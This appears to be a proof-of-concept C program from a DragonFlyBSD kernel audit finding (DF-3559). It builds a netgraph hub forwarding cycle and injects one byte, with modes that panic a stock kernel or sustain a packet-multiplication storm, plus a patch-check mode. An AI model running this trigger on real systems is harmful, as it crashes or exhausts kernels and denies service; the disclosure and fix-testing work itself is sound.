⬢ DragonFlyBSD Kernel Audit
DF-3559 / hub_cycle.c
← back to finding ↓ download raw
/*
 * DF-3559 trigger -- netgraph7 ng_hub: pure-topology forwarding cycle.
 *
 * Graph (NO node-local config messages at all -- hub has no newhook
 * filter, so arbitrary hook names are accepted; entry needs only a
 * third hook on one hub):
 *
 *        C(ng_socket data/control node "hbcyc")
 *        | hook "e"
 *   HL(hub) hooks { l1, a, b }
 *        a <----> x  HE(hub) hooks { x, y }
 *        b <----> y
 *
 * One 1-byte packet injected at C.e:
 *   HL rcv(l1) -> m_dup send to b, fwd item to a
 *   HE rcv(x|y) -> fwd to the other hook (2-hook hub)
 *   HL rcv(a|b) -> dup send to the OTHER cycle hook + fwd to l1 (socket)
 *   ... every hop recurses synchronously through ng_snd_item ->
 *   ng_apply_item -> rcvdata with no hop bound (stock) -> LWKT token
 *   array overflow panic (DF-3540 class, ng_hub instance).
 *
 * ng7 user ABI identical to DF-3540's bpf_cycle.c (NG_VERSION 8 etc).
 *
 * Build:  cc -O2 -o hub_cycle hub_cycle.c
 * Run (root, ng7 netgraph.ko + ng_socket.ko + ng_hub.ko loaded):
 *   ./hub_cycle          (expect panic within ~ms on stock kernel)
 *   ./hub_cycle fixcheck (same graph; on patched kernel expect ELOOP
 *                         drop + survival)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define AF_NG			32
#define NG_CONTROL		2
#define NG_DATA			1
#define NG_VERSION		8
#define GEN_COOKIE		1137070366	/* NGM_GENERIC_COOKIE (ng7) */
#define NGM_SHUTDOWN		1
#define NGM_MKPEER		2
#define NGM_CONNECT		3
#define NGM_NAME		4

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32

struct ngm_hdr_ {
	u_char	version; u_char spare; u_short spare2;
	u_int	arglen, cmd, flags, token, typecookie;
	char	cmdstr[32];
};
struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; };
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_  { char name[NG_NODESIZ]; };
struct ngm_connect_ { char path[512]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
/* DFly: sa_family_t is __uint8_t -> sockaddr_ng data starts at offset 2 */
struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; };

static u_int32_t tok = 0x4200;

static int
ngc(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.cmd = cmd;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);
	return (0);
}

static void
drain_data(int ds, int ms)
{
	struct timeval tv = { ms / 1000, (ms % 1000) * 1000 };
	fd_set r;
	char buf[512];
	struct sockaddr_ng_ from;
	socklen_t fl = sizeof(from);

	FD_ZERO(&r);
	FD_SET(ds, &r);
	if (select(ds + 1, &r, NULL, NULL, &tv) > 0) {
		ssize_t n = recvfrom(ds, buf, sizeof(buf), 0,
		    (struct sockaddr *)&from, &fl);
		if (n > 0) {
			buf[n < 60 ? n : 60] = 0;
			printf("DRAIN got %zd bytes from '%s': %02x ...\n",
			    n, from.sg_data, (u_char)buf[0]);
		}
	} else
		printf("DRAIN nothing (timeout)\n");
	fflush(stdout);
}

int
main(int argc, char **argv)
{
	struct ngm_mkpeer_ mkp;
	struct ngm_name_ nm;
	struct ngm_connect_ con;
	struct sockaddr_ng_ sa;
	int cs, ds;

	printf("hub_cycle: uid=%d argv0=%s (DF-3559 ng7 hub cycle)\n",
	    getuid(), argc > 0 ? argv[0] : "?");
	fflush(stdout);

	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		printf("RESULT control-socket errno=%d (%s)\n",
		    errno, strerror(errno));
		if (errno == EPERM)
			printf("RESULT unpriv-gated: ng7 ngc_attach "
			    "caps_priv_check -> EPERM (root-only trigger)\n");
		exit(0);
	}

	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, "hbcyc");
	if (ngc(cs, ".", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
		printf("STEP name failed errno=%d (continuing)\n", errno);
	fflush(stdout);

	ds = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds < 0) {
		printf("RESULT data-socket errno=%d\n", errno);
		exit(1);
	}
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strcpy(sa.sg_data, "hbcyc:");
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
		printf("RESULT data-connect errno=%d (%s)\n", errno,
		    strerror(errno));
		exit(1);
	}
	printf("STEP sockets ready\n");
	fflush(stdout);

	/*
	 * Two constructions:
	 *
	 *  sync (default): entry hook of the 3-hook hub created LAST so the
	 *   single synchronous NG_FWD_ITEM_HOOK of ng_hub_rcvdata stays on
	 *   a cycle hook -> the SAME item recurses synchronously through
	 *   ng_snd_item -> ng_apply_item -> rcvdata with no hop bound
	 *   (stock) -> LWKT token array overflow panic (DF-3540 class).
	 *
	 *  storm: entry hook created FIRST (hub born from the socket) so
	 *   the FWD drains to the socket and the cycle keeps running via
	 *   the ASYNC m_dup successors (fresh items are queued by
	 *   ng_snd_item's refs==1 rule) -> sustained packet-multiplication
	 *   storm (~10.5k pkt/s measured) burning a netgraph worker
	 *   thread + mbufs from ONE injected byte, no panic.
	 */
	{
		const char *mode = (argc > 1) ? argv[1] : "sync";
		struct ngm_rmhook_ { char ourhook[NG_HOOKSIZ]; };

		if (strcmp(mode, "storm") == 0) {
			/* storm mode: hub born from the socket; entry hook
			 * first-created -> iterated LAST -> FWD drains to
			 * the socket; cycle runs on async m_dup successors */
			memset(&mkp, 0, sizeof(mkp));
			strcpy(mkp.type, "hub"); strcpy(mkp.ourhook, "e"); strcpy(mkp.peerhook, "l1");
			if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
				{ printf("RESULT mkpeer-HL errno=%d\n", errno); exit(1); }
			memset(&mkp, 0, sizeof(mkp));
			strcpy(mkp.type, "hub"); strcpy(mkp.ourhook, "a"); strcpy(mkp.peerhook, "x");
			if (ngc(cs, "e", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
				{ printf("RESULT mkpeer-HE errno=%d\n", errno); exit(1); }
			memset(&con, 0, sizeof(con));
			strcpy(con.path, "a"); strcpy(con.ourhook, "b"); strcpy(con.peerhook, "y");
			if (ngc(cs, "e", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0)
				{ printf("RESULT connect errno=%d\n", errno); exit(1); }
			printf("STEP storm graph built: HL{l1,a,b}<->{x,y}HE\n");
			fflush(stdout);
			goto inject;
		}

		/* sync mode: HE born attached to the socket (temporary hook x) */
		memset(&mkp, 0, sizeof(mkp));
		strcpy(mkp.type, "hub"); strcpy(mkp.ourhook, "w"); strcpy(mkp.peerhook, "x");
		if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
			{ printf("RESULT mkpeer-HE errno=%d (%s)\n", errno, strerror(errno)); exit(1); }
		/* HL under HE.y<->HL.a */
		memset(&mkp, 0, sizeof(mkp));
		strcpy(mkp.type, "hub"); strcpy(mkp.ourhook, "y"); strcpy(mkp.peerhook, "a");
		if (ngc(cs, "w", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
			{ printf("RESULT mkpeer-HL errno=%d (%s)\n", errno, strerror(errno)); exit(1); }
		/* close the ring: HE.b <-> HL.c */
		memset(&con, 0, sizeof(con));
		strcpy(con.path, "y"); strcpy(con.ourhook, "b"); strcpy(con.peerhook, "c");
		if (ngc(cs, "w", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0)
			{ printf("RESULT connect-cycle errno=%d (%s)\n", errno, strerror(errno)); exit(1); }
		/* name HE so the socket can re-connect to it by name */
		memset(&nm, 0, sizeof(nm));
		strcpy(nm.name, "hecyc");
		if (ngc(cs, "w", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
			printf("STEP name-HE errno=%d (continuing)\n", errno);
		/* drop the birth hook (socket.w + HE.x die together) */
		{
			struct ngm_rmhook_ rm;
			memset(&rm, 0, sizeof(rm));
			strcpy(rm.ourhook, "w");
			if (ngc(cs, ".", GEN_COOKIE, 5 /* NGM_RMHOOK */, &rm, sizeof(rm)) < 0)
				{ printf("RESULT rmhook errno=%d (%s)\n", errno, strerror(errno)); exit(1); }
		}
		/* fresh entry hook, created LAST on HE => iterated FIRST */
		memset(&con, 0, sizeof(con));
		strcpy(con.path, "hecyc:"); strcpy(con.ourhook, "e"); strcpy(con.peerhook, "x2");
		if (ngc(cs, ".", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0)
			{ printf("RESULT connect-entry errno=%d (%s)\n", errno, strerror(errno)); exit(1); }
	}

	printf("STEP cycle built: HE{y,b,x2e}<->{a,c}HL, entry C.e created last "
	    "(FWD stays in-cycle), NO node-local config was needed\n");
	fflush(stdout);

inject:

	printf("STEP injecting 1 byte ...\n");
	fflush(stdout);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strcpy(sa.sg_data, "e");
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (sendto(ds, "X", 1, 0, (struct sockaddr *)&sa, sa.sg_len) < 0)
		printf("STEP sendto errno=%d (%s)\n", errno, strerror(errno));
	else
		printf("STEP sendto ok\n");
	fflush(stdout);

	/* measure the circulation: drain continuously for 15s, counting */
	{
		char buf[512];
		int total = 0, per;
		struct timeval t0;
		gettimeofday(&t0, NULL);
		for (;;) {
			struct timeval now, tv = { 0, 200000 }; /* 200ms */
			fd_set r;
			double dt;
			FD_ZERO(&r);
			FD_SET(ds, &r);
			if (select(ds + 1, &r, NULL, NULL, &tv) > 0) {
				ssize_t n2 = recvfrom(ds, buf, sizeof(buf),
				    0, NULL, NULL);
				if (n2 > 0)
					total++;
			}
			gettimeofday(&now, NULL);
			dt = (now.tv_sec - t0.tv_sec) +
			    (now.tv_usec - t0.tv_usec) / 1e6;
			if (dt >= 15.0) {
				printf("DRAIN total=%d packets in %.1fs "
				    "(%.1f pkt/s)\n", total, dt, total / dt);
				fflush(stdout);
				break;
			}
		}
		per = total;
		sleep(10);
		/* any more after a 10s pause? */
		{
			struct timeval tv = { 1, 0 };
			fd_set r;
			FD_ZERO(&r);
			FD_SET(ds, &r);
			if (select(ds + 1, &r, NULL, NULL, &tv) > 0) {
				while (recvfrom(ds, buf, sizeof(buf),
				    MSG_DONTWAIT, NULL, NULL) > 0)
					per++;
			}
		}
		printf("DRAIN total_after_pause=%d (delta=%d)\n", per,
		    per - total);
		fflush(stdout);
	}

	sleep(15);
	printf("RESULT no-panic survived 40s (see DRAIN counters for "
	    "circulation state)\n");
	return (0);
}